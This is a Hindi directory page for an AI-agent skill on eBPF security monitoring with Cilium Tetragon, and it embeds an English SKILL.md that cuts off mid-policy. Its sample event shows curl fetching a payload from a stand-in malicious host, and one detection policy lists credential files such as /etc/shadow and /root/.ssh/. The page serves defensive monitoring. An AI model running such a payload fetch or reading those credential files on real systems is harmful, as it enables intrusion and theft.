implementing-ebpf-security-monitoring
यह क्या करती है
यह टूल आपको किसी कंप्यूटर या सर्वर पर रियल-टाइम में चल रही गतिविधियों पर नज़र रखने देता है, जैसे कौन-से प्रोग्राम चल रहे हैं, कौन-सी फ़ाइलें एक्सेस हो रही हैं और कौन-से नेटवर्क कनेक्शन बन रहे हैं। यह काम बहुत तेज़ी से होता है, क्योंकि यह सीधे ऑपरेटिंग सिस्टम के 'core' (kernel) के अंदर से चलता है।
कब इस्तेमाल करें
- ✓जब आपको Linux सर्वर या Kubernetes cluster पर ठीक-ठीक पता करना हो कि क्या हो रहा है।
- ✓जब सामान्य मॉनिटरिंग टूल सिस्टम को धीमा कर देते हैं।
- ✓जब आप खतरनाक प्रोग्राम को चलने से या ज़रूरी फ़ाइलों तक पहुँचने से रोकना चाहते हों।
Skill का लिंक
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/implementing-ebpf-security-monitoring/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“मेरे सर्वर पर /etc/passwd फ़ाइल जितनी बार पढ़ी जाए, वह हर बार मॉनिटर करो।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
यह eBPF नाम की तकनीक का उपयोग करता है, जो बिना किसी अतिरिक्त भारी प्रोग्राम चलाए, सीधे kernel के अंदर सिस्टम इवेंट्स देखती है। आप नियम बनाकर इन इवेंट्स को फ़िल्टर कर सकते हैं और उन पर प्रतिक्रिया दे सकते हैं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Implementing eBPF Security Monitoring
When to Use
- When deploying kernel-level runtime security monitoring on Linux hosts or Kubernetes clusters
- When you need sub-millisecond visibility into process execution, network connections, and file access
- When traditional userspace monitoring tools introduce unacceptable performance overhead
- When building detection pipelines that require in-kernel filtering before events reach userspace
- When enforcing runtime security policies (kill process, send signal) at the kernel level
Prerequisites
- Linux kernel 5.3+ with BTF (BPF Type Format) support enabled
- Kubernetes 1.24+ cluster (for Kubernetes deployment) or standalone Linux host
- Helm 3.x installed (for Kubernetes deployment)
kubectlconfigured with cluster accesstetraCLI installed for local event streaming- Python 3.8+ with
requests,kubernetes,pyyamldependencies - Root or CAP_BPF/CAP_SYS_ADMIN capabilities for eBPF program loading
Instructions
1. Install Tetragon on Kubernetes
Deploy Tetragon via Helm to get default process lifecycle observability:
helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system \
--set tetragon.enableProcessCred=true \
--set tetragon.enableProcessNs=true
Verify the installation:
kubectl get pods -n kube-system -l app.kubernetes.io/name=tetragon
kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | head -20
2. Install Tetragon on Standalone Linux
For non-Kubernetes Linux hosts, install from the tarball release:
curl -LO https://github.com/cilium/tetragon/releases/latest/download/tetragon-linux-amd64.tar.gz
tar xzf tetragon-linux-amd64.tar.gz
sudo cp tetragon /usr/local/bin/
sudo cp tetra /usr/local/bin/
# Start tetragon daemon
sudo tetragon --btf /sys/kernel/btf/vmlinux &
# Stream events
tetra getevents -o compact
3. Monitor Process Execution (Default)
Tetragon generates process_exec and process_exit events by default without any TracingPolicy:
# Stream process events in compact format
tetra getevents -o compact
# Stream in JSON for SIEM ingestion
tetra getevents -o json | jq '.process_exec // .process_exit'
Example process_exec JSON event:
{
"process_exec": {
"process": {
"binary": "/usr/bin/curl",
"arguments": "https://malicious.example.com/payload",
"cwd": "/tmp",
"uid": 1000,
"pod": {
"namespace": "default",
"name": "webapp-7b4d9f8c6-x2k9p"
},
"parent": {
"binary": "/bin/bash",
"pid": 1234
}
}
}
}
4. Author TracingPolicy for File Access Monitoring
Create a TracingPolicy CRD to monitor access to sensitive files via the sys_openat kprobe:
# file-access-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: monitor-sensitive-file-access
spec:
kprobes:
- call: "fd_install"
syscall: false
args:
- index: 0
type: "int"
- index: 1
type: "file"
selectors:
- matchArgs:
- index: 1
operator: "Prefix"
values:
- "/etc/shadow"
- "/etc/passwd"
- "/etc/sudoers"
- "/root/.ssh/"
- "/etc/kubernetes/pki/"
matchActions:
- action: Post
Apply and observe:
kubectl apply -f file-access-monitor.yaml
tetra getevents -o compact --process-filter "event_set:PROCESS_KPROBE"
5. Author TracingPolicy for Network Connection Monitoring
Monitor outbound TCP connections using the tcp_connect kprobe:
# network-monitor.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: monitor-tcp-connections
spec:
kprobes:
- call: "tcp_connect"
syscall: false
args:
- index: 0
type: "sock"
selectors:
- matchActions:
- action: Post
6. Author TracingPolicy for Privilege Escalation Detection
Detect setuid/setgid calls that may indicate privilege escalation:
# privilege-escalation-detect.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: detect-privilege-escalation
spec:
kprobes:
- call: "__sys_setuid"
syscall: false
args:
- index: 0
type: "int"
selectors:
- matchArgs:
…
अक्सर पूछे जाने वाले सवाल
eBPF क्या है?
eBPF एक ऐसी तकनीक है जिससे छोटे प्रोग्राम सुरक्षित तरीके से Linux kernel के अंदर चलाए जा सकते हैं। इससे kernel का कोड बदले बिना सिस्टम को मॉनिटर किया जा सकता है।
Cilium Tetragon क्या है?
यह एक टूल है जो eBPF का उपयोग करके रियल-टाइम सुरक्षा मॉनिटरिंग देता है और kernel स्तर पर सुरक्षा नीतियाँ लागू करता है।
'kernel' क्या होता है?
kernel ऑपरेटिंग सिस्टम का मुख्य हिस्सा है, जो हार्डवेयर संसाधनों को मैनेज करता है और प्रोग्राम्स को काम करने देता है।
जानकारी
लेखक का मूल विवरण
Implements eBPF-based security monitoring using Cilium Tetragon for real-time process execution tracking, network connection observability, file access auditing, and runtime enforcement. Covers TracingPolicy CRD authoring with kprobe/tracepoint hooks, in-kernel filtering via matchArgs/matchBinaries selectors, JSON event export, and integration with SIEM pipelines. Use when building kernel-level ru
लोकप्रियता
- GitHub स्टार
- 35k
- रैंकिंग में स्थान
- #8033
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 31/8/2026
कमेंट
- …
इस repository की और skills
abusing-dpapi-for-credential-access
35kआपके AI एजेंट को किसी खास काम के लिए तैयार instructions देता है, ताकि वह उसे बेहतर और तेज़ी से कर सके।
abusing-shadow-credentials-for-privesc
35kआपके AI एजेंट को साफ़ और अच्छी तरह से व्यवस्थित लिखना सिखाता है।
achieving-cmmc-level-2-compliance
35kयह आपके एजेंट को CMMC Level 2 compliance के लिए environment तैयार करने में मदद करता है। यह security requirements लागू करता है और ज़रूरी documentation संभालता है।
acquiring-disk-image-with-dd-and-dcfldd
35kआपके एजेंट को hard drives की exact copies बनाने में मदद करता है। जाँच के दौरान किसी भी जानकारी के खोने या बदलने से बचाने के लिए यह उपयोगी है।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।